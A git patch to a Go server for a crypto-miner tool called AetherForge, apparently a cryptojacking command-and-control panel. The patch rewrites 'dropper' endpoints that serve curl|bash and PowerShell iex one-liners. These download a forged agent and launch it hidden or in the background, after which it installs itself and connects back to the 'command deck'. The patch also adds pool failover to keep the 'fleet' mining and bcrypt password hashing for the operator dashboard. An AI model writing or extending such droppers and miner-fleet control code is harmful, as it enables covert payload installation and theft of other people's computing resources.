From 0e19eb9eb9700689ac984e7d0902753db81e6fdb Mon Sep 17 00:00:00 2001 From: drjones Date: Sat, 30 May 2026 12:49:40 -0700 Subject: [PATCH] fix: pool backup failover on reconnect, perfect dropper scripts, bcrypt password hashing --- server/go.mod | 7 +- server/go.sum | 6 + server/internal/api/dropper_handler.go | 170 +++++++++++++++---------- server/internal/api/router.go | 63 ++++++++- server/internal/api/websocket.go | 44 ++++--- server/internal/pool/manager.go | 13 ++ server/internal/pool/proxy.go | 83 ++++++++++-- 7 files changed, 276 insertions(+), 110 deletions(-) diff --git a/server/go.mod b/server/go.mod index 01c930c..81b71b1 100644 --- a/server/go.mod +++ b/server/go.mod @@ -1,6 +1,6 @@ module crypto-miner-server -go 1.21 +go 1.25.0 require ( github.com/go-chi/chi/v5 v5.0.12 @@ -22,9 +22,10 @@ require ( github.com/tc-hib/go-winres v0.3.1 // indirect github.com/tc-hib/winres v0.1.6 // indirect github.com/urfave/cli/v2 v2.3.0 // indirect + golang.org/x/crypto v0.52.0 // indirect golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect - golang.org/x/net v0.17.0 // indirect - golang.org/x/sys v0.18.0 // indirect + golang.org/x/net v0.54.0 // indirect + golang.org/x/sys v0.45.0 // indirect modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect modernc.org/libc v1.49.3 // indirect modernc.org/mathutil v1.6.0 // indirect diff --git a/server/go.sum b/server/go.sum index bd70d16..e11dff8 100644 --- a/server/go.sum +++ b/server/go.sum @@ -38,6 +38,8 @@ github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8= github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A= github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M= github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI= +golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988= +golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc= golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk= golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= @@ -45,9 +47,13 @@ golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic= golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w= +golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY= +golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw= golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc= diff --git a/server/internal/api/dropper_handler.go b/server/internal/api/dropper_handler.go index 374d717..1c7d1c1 100644 --- a/server/internal/api/dropper_handler.go +++ b/server/internal/api/dropper_handler.go @@ -80,68 +80,77 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) { } } if buildPath == "" { - http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound) + w.Header().Set("Content-Type", "text/plain; charset=utf-8") + w.WriteHeader(http.StatusNotFound) + fmt.Fprintln(w, "AETHERFORGE: no agent build available yet.") + fmt.Fprintln(w, "Open the dashboard → Forge → fill in your wallet + server URL → FORGE INSTALLER.") + fmt.Fprintln(w, "Then re-run this one-liner.") return } w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName)) w.Header().Set("Content-Type", "application/octet-stream") + // Content-Length is set automatically by http.ServeFile. http.ServeFile(w, r, buildPath) } // ServeSh handles GET /install.sh — returns a bash one-liner installer. func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) { - base := h.publicURL() - if base == "" { - // Best-effort: derive from request - scheme := "http" - if r.TLS != nil { - scheme = "https" - } - base = scheme + "://" + r.Host - } + base := h.resolveBase(r) script := fmt.Sprintf(`#!/bin/sh -# AetherForge one-liner installer -# Usage: curl -sL %s/install.sh | bash +# AetherForge agent installer +# Usage: curl -sL '%[1]s/install.sh' | bash +# wget -qO- '%[1]s/install.sh' | bash set -e +die() { echo "[!] $*" >&2; exit 1; } + OS="$(uname -s | tr '[:upper:]' '[:lower:]')" ARCH="$(uname -m)" case "$ARCH" in - x86_64) ARCH="amd64" ;; - aarch64|arm64) ARCH="arm64" ;; + x86_64) ARCH="amd64" ;; + aarch64|arm64) ARCH="arm64" ;; esac +echo "[*] AetherForge — downloading agent for $OS/$ARCH..." + TMPDIR="$(mktemp -d)" DEST="$TMPDIR/worker" -echo "[*] Downloading agent for $OS/$ARCH..." -curl -sL -o "$DEST" "%s/get?os=$OS" +# Download and verify we got a real file, not a 404 page. +HTTP_CODE="$(curl -sL -w '%%{http_code}' -o "$DEST" '%[1]s/get?os=$OS')" +if [ "$HTTP_CODE" != "200" ]; then + cat "$DEST" >&2 + die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard." +fi -if file "$DEST" 2>/dev/null | grep -q "Zip"; then +FILESIZE="$(wc -c < "$DEST" | tr -d ' ')" +[ "$FILESIZE" -gt 1024 ] || die "Download too small ($FILESIZE bytes) — something went wrong." + +# Universal bundle (ZIP) or raw binary? +MAGIC="$(head -c 2 "$DEST" | od -An -tx1 | tr -d ' \n')" +if [ "$MAGIC" = "504b" ]; then echo "[*] Extracting universal bundle..." unzip -q "$DEST" -d "$TMPDIR/bundle" cd "$TMPDIR/bundle" - # Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command if [ "$OS" = "darwin" ]; then for L in Start.command start.command; do - if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi + [ -f "$L" ] && chmod +x "$L" && exec "./$L" done fi for L in start.sh deploy.sh; do - if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi + [ -f "$L" ] && chmod +x "$L" && exec sh "./$L" done - echo "[!] Could not find launcher in bundle" - exit 1 + die "No launcher found in bundle (Start.command / start.sh / deploy.sh)" fi chmod +x "$DEST" -echo "[*] Launching..." +echo "[*] Launching agent..." nohup "$DEST" >/dev/null 2>&1 & -echo "[+] Agent started (pid $!)" -`, base, base) +echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck." +`, base) w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `inline; filename="install.sh"`) @@ -150,53 +159,76 @@ echo "[+] Agent started (pid $!)" // ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer. func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) { - base := h.publicURL() - if base == "" { - scheme := "http" - if r.TLS != nil { - scheme = "https" - } - base = scheme + "://" + r.Host - } + base := h.resolveBase(r) - // PowerShell backticks would conflict with Go raw-string backticks; build the - // script as a regular string so we can escape them properly. - bt := "`" // backtick character - script := "# AetherForge one-liner installer\n" + - "# Usage: iex (irm '" + base + "/install.ps1')\n\n" + - "$ErrorActionPreference = 'Stop'\n" + - "$url = '" + base + "/get?os=windows'\n" + - "$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" + - "Write-Host '[*] Downloading agent...'\n" + - "Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" + - "$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" + - "$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" + - "if ($isZip) {\n" + - " Write-Host '[*] Extracting universal bundle...'\n" + - " $dir = $tmp + '_bundle'\n" + - " Add-Type -AssemblyName System.IO.Compression.FileSystem\n" + - " [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" + - // Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both. - " $bat = $null\n" + - " foreach ($name in @('Start.bat','Deploy.bat')) {\n" + - " $candidate = Join-Path $dir $name\n" + - " if (Test-Path $candidate) { $bat = $candidate; break }\n" + - " }\n" + - " if ($bat) {\n" + - " Write-Host '[*] Running launcher...'\n" + - " Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" + - " } else {\n" + - " Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" + - " }\n" + - "} else {\n" + - " $exe = $tmp + '.exe'\n" + - " Move-Item -Path $tmp -Destination $exe -Force\n" + - " Write-Host '[*] Launching...'\n" + - " Start-Process -FilePath $exe -WindowStyle Hidden\n" + - "}\n" + - "Write-Host '[+] Agent deployed.'\n" + // Build script as a regular string — backtick in Go raw strings conflicts + // with PowerShell's escape character. + bt := "`" + nl := "\r\n" + + script := "# AetherForge agent installer" + nl + + "# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl + + "$ErrorActionPreference = 'Stop'" + nl + + "$ProgressPreference = 'SilentlyContinue'" + nl + nl + + "$url = '" + base + "/get?os=windows'" + nl + + "$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl + + "Write-Host '[*] AetherForge -- downloading agent...'" + nl + + "try {" + nl + + " $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl + + " if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl + + "} catch {" + nl + + " Write-Host '[!] Download failed:' $_.Exception.Message" + nl + + " Write-Host ' Forge an agent first from the dashboard, then retry.'" + nl + + " exit 1" + nl + + "}" + nl + nl + + "$size = (Get-Item $tmp).Length" + nl + + "if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl + + "$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl + + "$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl + + "if ($isZip) {" + nl + + " Write-Host '[*] Extracting universal bundle...'" + nl + + " $dir = $tmp + '_bundle'" + nl + + " Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl + + " [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl + + " $bat = $null" + nl + + " foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl + + " $c = Join-Path $dir $name" + nl + + " if (Test-Path $c) { $bat = $c; break }" + nl + + " }" + nl + + " if ($bat) {" + nl + + " Write-Host '[*] Running bundle launcher...'" + nl + + " Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl + + " Write-Host '[+] Agent deployed from bundle.'" + nl + + " } else {" + nl + + " Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl + + " }" + nl + + "} else {" + nl + + " $exe = $tmp + '.exe'" + nl + + " Move-Item -Path $tmp -Destination $exe -Force" + nl + + " Write-Host '[*] Launching agent...'" + nl + + " Start-Process -FilePath $exe -WindowStyle Hidden" + nl + + " Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl + + "}" + nl w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`) fmt.Fprint(w, script) } + +// resolveBase returns the public base URL for script generation, falling back +// to the request's Host header when no public URL is configured. +func (h *DropperHandler) resolveBase(r *http.Request) string { + if u := h.publicURL(); u != "" { + return u + } + scheme := "http" + if r.TLS != nil { + scheme = "https" + } + // Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host. + host := r.Header.Get("X-Forwarded-Host") + if host == "" { + host = r.Host + } + return scheme + "://" + host +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 676bb1b..f99ce90 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -19,6 +19,7 @@ import ( "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" "github.com/go-chi/cors" + "golang.org/x/crypto/bcrypt" ) var ( @@ -53,6 +54,31 @@ func SetRotateSecretFn(fn func() (string, error)) { rotateSecretFn = fn } +// isBcryptHash returns true when s looks like a bcrypt hash ($2a$, $2b$, $2y$). +func isBcryptHash(s string) bool { + return len(s) > 4 && s[0] == '$' && s[1] == '2' +} + +// hashPassword returns a bcrypt hash of password (cost 12). +func hashPassword(password string) (string, error) { + h, err := bcrypt.GenerateFromPassword([]byte(password), 12) + if err != nil { + return "", err + } + return string(h), nil +} + +// checkPassword verifies password against the stored value. Stored values are +// always bcrypt hashes after migration; plain-text legacy values are accepted +// once then re-hashed automatically. +func checkPassword(stored, provided string) bool { + if isBcryptHash(stored) { + return bcrypt.CompareHashAndPassword([]byte(stored), []byte(provided)) == nil + } + // Legacy plain-text comparison (constant-time). + return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1 +} + func loadUsers(dataDir string) { usersFilePath = filepath.Join(dataDir, "users.json") usersMu.Lock() @@ -62,16 +88,36 @@ func loadUsers(dataDir string) { if err == nil { var loaded map[string]string if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 { + // Migration: re-hash any plain-text entries left from an older version. + migrated := false + for u, v := range loaded { + if !isBcryptHash(v) { + if h, herr := hashPassword(v); herr == nil { + loaded[u] = h + migrated = true + log.Printf("[Auth] Migrated plain-text password for user %q to bcrypt", u) + } + } + } authUsers = loaded + if migrated { + d, _ := json.MarshalIndent(authUsers, "", " ") + _ = os.WriteFile(usersFilePath, d, 0600) + } return } } // First run — no users.json (or empty). Generate a random admin password, - // save it, and print it clearly so the operator can log in immediately. + // hash it, save it, and print the plain-text once to the console. pw := generateRandomPassword() - authUsers = map[string]string{"admin": pw} - if err := os.MkdirAll(dataDir, 0755); err == nil { + hashed, herr := hashPassword(pw) + if herr != nil { + hashed = pw // extremely unlikely; degrade gracefully + log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr) + } + authUsers = map[string]string{"admin": hashed} + if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil { d, _ := json.MarshalIndent(authUsers, "", " ") if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil { log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr) @@ -97,16 +143,19 @@ func loadUsers(dataDir string) { func generateRandomPassword() string { b := make([]byte, 10) if _, err := rand.Read(b); err != nil { - // Fallback to a fixed marker so the operator knows something went wrong. return "CHANGE-ME-NOW-12345" } return hex.EncodeToString(b) } func saveUser(username, password string) error { + hashed, err := hashPassword(password) + if err != nil { + return fmt.Errorf("bcrypt: %w", err) + } usersMu.Lock() defer usersMu.Unlock() - authUsers[username] = password + authUsers[username] = hashed if usersFilePath == "" { usersFilePath = filepath.Join("data", "users.json") } @@ -161,10 +210,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler { } usersMu.RLock() - expectedPass, exists := authUsers[user] + storedHash, exists := authUsers[user] usersMu.RUnlock() - if !exists || subtle.ConstantTimeCompare([]byte(pass), []byte(expectedPass)) != 1 { + if !exists || !checkPassword(storedHash, pass) { w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) http.Error(w, "Unauthorized", http.StatusUnauthorized) return diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index a83c905..7016c42 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -405,29 +405,31 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if poolCfg.Password == "" { poolCfg.Password = "x" } - if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil { - log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err) - connected := false - for i, bp := range backupPools { - if bp.Host == "" || bp.Port <= 0 { - continue - } - bpCfg := poolCfg - bpCfg.Host = bp.Host - bpCfg.Port = bp.Port - bpCfg.UseTLS = bp.TLS - if bp.Pass != "" { - bpCfg.Password = bp.Pass - } - if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil { - log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port) - connected = true - break - } + + // Build backup pool.Config list from what the agent sent at auth. + // These are registered on the proxy so reconnect() rotates through + // them automatically — not just at initial connect. + var backupCfgs []pool.Config + for _, bp := range backupPools { + if bp.Host == "" || bp.Port <= 0 { + continue } - if !connected { - log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID) + bpc := pool.Config{ + Host: bp.Host, + Port: bp.Port, + UseTLS: bp.TLS, + Wallet: poolCfg.Wallet, } + if bp.Pass != "" { + bpc.Password = bp.Pass + } else { + bpc.Password = poolCfg.Password + } + backupCfgs = append(backupCfgs, bpc) + } + + if _, err := h.poolManager.EnsurePoolWithBackups(&poolCfg, backupCfgs); err != nil { + log.Printf("[WS] All pools failed for agent %s (%d backups tried) — agent will mine when pool reconnects", agentID, len(backupCfgs)) } } diff --git a/server/internal/pool/manager.go b/server/internal/pool/manager.go index 1474d93..471c299 100644 --- a/server/internal/pool/manager.go +++ b/server/internal/pool/manager.go @@ -46,6 +46,19 @@ func poolKey(cfg *Config) string { return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet) } +// EnsurePoolWithBackups is like EnsurePool but also registers backup configs +// that the proxy will rotate through on reconnect. +func (m *Manager) EnsurePoolWithBackups(cfg *Config, backups []Config) (*Proxy, error) { + p, err := m.EnsurePool(cfg) + if err != nil { + return nil, err + } + if len(backups) > 0 { + p.SetBackupConfigs(backups) + } + return p, nil +} + // EnsurePool returns a connected proxy for the forged pool settings, starting one if needed. func (m *Manager) EnsurePool(cfg *Config) (*Proxy, error) { if cfg == nil || cfg.Host == "" { diff --git a/server/internal/pool/proxy.go b/server/internal/pool/proxy.go index 184f891..a039a54 100644 --- a/server/internal/pool/proxy.go +++ b/server/internal/pool/proxy.go @@ -84,6 +84,14 @@ type Proxy struct { reconnecting bool reconnectDelay time.Duration verboseTraffic bool + + // Pool failover: if the active config fails on reconnect, cycle through + // these alternatives before giving up. The primary Config is always index -1 + // (the original); backups are tried in order. primaryConfig preserves the + // original so we can reset after a full round fails. + primaryConfig Config + backupConfigs []Config + backupIdx int // next backup to try } type PendingShare struct { @@ -116,6 +124,7 @@ type Config struct { func NewProxy(cfg *Config) *Proxy { return &Proxy{ config: cfg, + primaryConfig: *cfg, stopCh: make(chan struct{}), shareQueue: make(chan *PendingShare, 100), pendingResults: make(map[int]*pendingShareResult), @@ -123,6 +132,14 @@ func NewProxy(cfg *Config) *Proxy { } } +// SetBackupConfigs registers fallback pool configs tried in order when the +// active config fails on reconnect. Call before Start(). +func (p *Proxy) SetBackupConfigs(backups []Config) { + p.mu.Lock() + p.backupConfigs = backups + p.mu.Unlock() +} + func (p *Proxy) SetReconnectDelay(d time.Duration) { if d > 0 { p.mu.Lock() @@ -702,18 +719,64 @@ func (p *Proxy) reconnect() { default: } - if err := p.connect(); err != nil { - log.Printf("[Pool] Reconnect failed: %v", err) - if p.onError != nil { - p.onError(fmt.Errorf("pool reconnect failed: %w", err)) + // Build the full candidate list: [current primary] + backup configs. + // If the primary fails we rotate through backups so the fleet keeps hashing + // even when the configured pool is down. + p.mu.RLock() + primary := p.primaryConfig + backups := append([]Config(nil), p.backupConfigs...) // copy + startIdx := p.backupIdx + p.mu.RUnlock() + + candidates := make([]Config, 0, 1+len(backups)) + candidates = append(candidates, primary) + candidates = append(candidates, backups...) + + total := len(candidates) + for i := 0; i < total; i++ { + // Rotate: try startIdx (last successful backup) before falling back to primary + idx := (startIdx + i) % total + cfg := candidates[idx] + + p.mu.Lock() + *p.config = cfg + p.mu.Unlock() + + if err := p.connect(); err != nil { + label := "primary" + if idx > 0 { + label = fmt.Sprintf("backup#%d (%s:%d)", idx, cfg.Host, cfg.Port) + } + log.Printf("[Pool] Reconnect to %s failed: %v", label, err) + continue } - time.Sleep(30 * time.Second) - select { - case <-p.stopCh: - return - default: - p.scheduleReconnect() + + // Succeeded — remember where we are so next reconnect starts here + p.mu.Lock() + p.backupIdx = idx + p.mu.Unlock() + if idx > 0 { + log.Printf("[Pool] Now connected to backup#%d (%s:%d)", idx, cfg.Host, cfg.Port) } + return + } + + // All candidates failed + if p.onError != nil { + p.onError(fmt.Errorf("all pool endpoints unreachable (%d tried)", total)) + } + // Restore primary so next cycle starts fresh + p.mu.Lock() + *p.config = primary + p.backupIdx = 0 + p.mu.Unlock() + + time.Sleep(30 * time.Second) + select { + case <-p.stopCh: + return + default: + p.scheduleReconnect() } }